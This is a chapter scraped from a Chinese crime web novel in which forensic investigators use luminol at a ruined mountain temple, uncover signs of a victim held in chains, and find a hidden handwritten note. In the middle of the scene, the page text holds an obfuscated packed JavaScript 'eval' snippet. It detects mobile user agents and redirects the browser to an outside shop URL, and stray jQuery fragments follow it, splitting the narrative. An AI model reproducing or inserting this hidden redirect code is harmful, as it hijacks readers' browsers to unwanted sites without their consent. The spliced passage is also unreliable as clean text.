文趣网 > 都市小说 > 天衣无缝?不存在的 > 9. 第九章
    山神庙的位置选得很好,背靠一面石壁,两侧各有一道天然排水沟,庙前的台地视野开阔,能看到对面两道山梁之间的谷地。

    但这个地方同时又很隐蔽,庙后面的石壁上长满了藤蔓,从山下往上看,根本看不出这里有建筑。

    他走进山神庙里,里头地面铺的是青砖,部分已经碎裂,砖缝里长出了青苔。

    纪荀蹲下来,用手套擦了擦砖面。青砖表面有一层薄薄的泥土沉积,但有几块砖的泥土厚度明显比其他砖薄。

    “这些砖被人清理过。”纪荀说,指给林墨看,“表面这层土是近年沉积的,但砖缝里的土是老的。说明有人在某个时间清掉了这些砖表面的覆土。时间不会太久,因为后来没有再重新沉积。”

    林墨也蹲下来,用手电贴着砖面斜照。在斜射光下,被清理过的砖面上露出了一些暗色的印迹。印迹的形状不规则,边缘模糊,但颜色和周围砖面的颜色有细微差异。

    “这是什么?”

    纪荀没有马上回答。他从勘查箱里取出鲁米诺试剂和喷壶,让大刘和林墨退后几步,然后对着那片暗色印迹喷了几下。随后他让大刘拉上黑布遮盖。

    黑暗中,那片砖面上泛起了蓝白色的荧光。

    鲁米诺反应阳性。说明这片地面上曾经有过血迹,而且血迹被人清理过,但血红蛋白中的铁离子已经渗透进了青砖的微孔,鲁米诺试剂和铁离子发生反应,发出了荧光。

    大刘倒吸了一口凉气。

    纪荀面无表情,继续喷洒鲁米诺试剂。荧光反应不止一处,在废墟的东南角,大概两平方米的范围内,砖面上到处是星星点点的荧光。

    有的呈拖抹状,有人用布或者拖把试图擦掉血迹。有的呈滴落状,边缘圆钝,是血液从一定高度滴落后自然形成的。还有一处荧光呈现出明显的弧形,像是什么圆形物体的底部沾了血之后放在地面上留下的。

    “这是一把水桶的底印。”林墨蹲在那处弧形荧光前,“铁皮水桶,底边卷边,直径大概三十公分。桶底沾了血,放在地上留下了这个印子。”

    纪荀站起来,走到荧光最集中的区域。这片区域在地基的东南角,靠墙的位置。墙基上有一块凸出的条石,条石表面有被反复摩擦的痕迹,石面光滑,和周围粗糙风化的石面完全不同。

    他用鲁米诺喷了喷那条石,条石表面立刻泛起了大片的荧光,荧光分布呈横向条带状,宽度大概两指宽。条带的边缘整齐,有重复叠加的痕迹。

    “绳子勒过的痕迹。”纪荀说,“人躺在地上,绳子绕过他的身体,另一端绑在这块条石上。他挣扎的时候,绳子在条石上反复摩擦,磨光了石面。血迹渗进了绳子和石面之间的缝隙,留下了这些荧光线。”

    林墨用手指量了量条石到地面的距离。大概四十公分。这个高度,躺在地上的人的手臂刚好能绑到条石上,既不能完全伸直,也不能屈肘发力挣脱。

    这是一个精心设计的捆绑距离。

    三人继续勘查废墟。在墙角的一堆瓦砾下面,林墨找到了一截锈迹斑斑的铁链。铁链的一端焊着一个铁环,铁环的内径大概十公分,正好能套过一个成年人的手腕。铁环的内壁有磨损痕迹,磨损集中在某一个方向,说明被套在铁环里的人经常朝那个方向用力。

    “脚镣。”林墨拿起铁链,“铁环的内径偏小,如果是锁脚踝的,内径至少要十二公分以上。这个尺寸,是用来锁手腕的。”

    纪荀接过铁链,掂了掂重量。铁链有三四斤重,加上铁环,总重可能超过五斤。

    一个成年男性,手腕上锁着五斤重的铁链,被绑在墙角的条石上,不能站直,不能躺平,只能在半躺半坐的姿势下保持固定。

    而且他几个月里一直保持着这个姿势,骨盆被绳子长期压迫变了形,肋骨的肋沟因为绳索的反复摩擦越来越深。

    “这里不是杀人的地方。”纪荀忽然说。

    林墨和大刘都看向他。

    “地上没有大片的血迹,只有滴落状和拖抹状的血迹。这说明死者在这里流血,但流血量不大,没有动脉喷溅。致命的伤害不在这里。”纪荀走到地基的中央,“致命伤是在别处造成的,之后尸体被拖回这里分尸。分尸的时候,血液已经凝固了,所以地面没有大量新鲜血迹。”

    他走到庙门口,看着那条通往山下的老路。

    “杀人的地方在别处,分尸在这里。躯干被埋在石坑里。四肢——”他顿了顿,“四肢还没有找到。”

    大刘说:“要不要把警犬调上来?”

    “调。以山神庙为中心,半径一公里,重点搜索任何有翻动痕迹的地面。”纪荀说,“另外通知苏棠,让她带紫外照相设备过来。庙里的地面要做全面潜隐痕迹显现。”

    大刘应了一声,掏出手机到外面打电话。

    纪荀和林墨留在废墟里,继续做细致的勘查。

    林墨在东南角的地面上找到了几根头发。头发很短,直径粗,横截面呈椭圆形,是典型的成年男性头发。发根有毛囊,说明是被外力拔下来的,不是自然脱落的。

    纪荀在墙角的一块松动的砖后面找到了一个东西。

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17742204|209124||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    他把砖头小心翼翼地移开,后面是一个拳头大小的空洞,空洞里面塞着一团已经发黄的纸。

    纸团很脆,手指轻轻一碰就有碎屑掉下来。纪荀没有贸然打开,他把整个空洞连同纸团一起拍了照,然后用镊子把纸团夹出来,放进一个硬质的物证盒里。

    “纸上有字。”林墨用手电照着纸团说,“铅笔写的,字迹很淡,但还能看出来。”

    纪荀凑过去看,纸团的边缘已经严重碳化,但中间的部分还保持着纸张的形态。在斜射光下,能隐约看到几行歪歪扭扭的字迹。

    字迹潦草,笔画抖动起伏,写的人显然不是处于正常状态下。有些笔画的末端有回钩,说明手在发抖。有些字甚至是反复描过。

    “这几个字像是日期。”林墨指着最上面一行,“二零零二年十月十一。下面写的——”

    他停下来,已经认出了那几个字。

    “我撑不住了。”

    纪荀没有说话,只是看着那团纸,看着纸上那些发抖的字迹,他脑子里出现了那个画面。

    一个人被铁链锁在山神庙的墙角,在黑暗中摸索到一张纸和一支铅笔,用尽全力写下这几个字。他把纸团塞进墙缝里,也许是在期待有人能发现,也许只是为了给自己家人留下话。

    二零零二年十月十一日,而张文峰推断的死亡时间是十月中旬。

    他写下这几个字的那一天,可能就是他被杀的那天。

    “你看这行字迹的外形轮廓和字高比例,还有行间距……还有这些起笔、收笔的笔锋走势,以及相连字的笔顺呼应。每个字都有独特的写法习惯,别人很难完全模仿。”林墨指着纸上的字迹说,“虽然他写得潦草,但这些特征在笔迹学上叫个人书写动力定型,是鉴定身份的铁证。不管他当时多虚弱,只要不是昏迷状态,这些惯性特征就抹不掉。”

    纪荀点点头,没有说话。他用微距镜头把纸上的字迹拍下来,正光一张,斜射光一张,透射光一张。然后他把物证盒封好,贴上标签。

    这时,外面传来苏棠的声音。她带着技术组的人上来了,还抬着紫外照相设备和发电机。

    苏棠走进废墟,看到地上的鲁米诺荧光反应,脚步顿了一下。

    “庙里做全面勘查。”纪荀说,“地面上做潜隐痕迹显现,墙上做手印和工具痕迹提取,墙角的条石和铁链是重点。还有——”

    说完,他把物证盒递给她:“这张纸团,要做红外成像和纸张年代鉴定,上面的字迹要尽最大可能恢复。”

    苏棠接过物证盒,点了点头。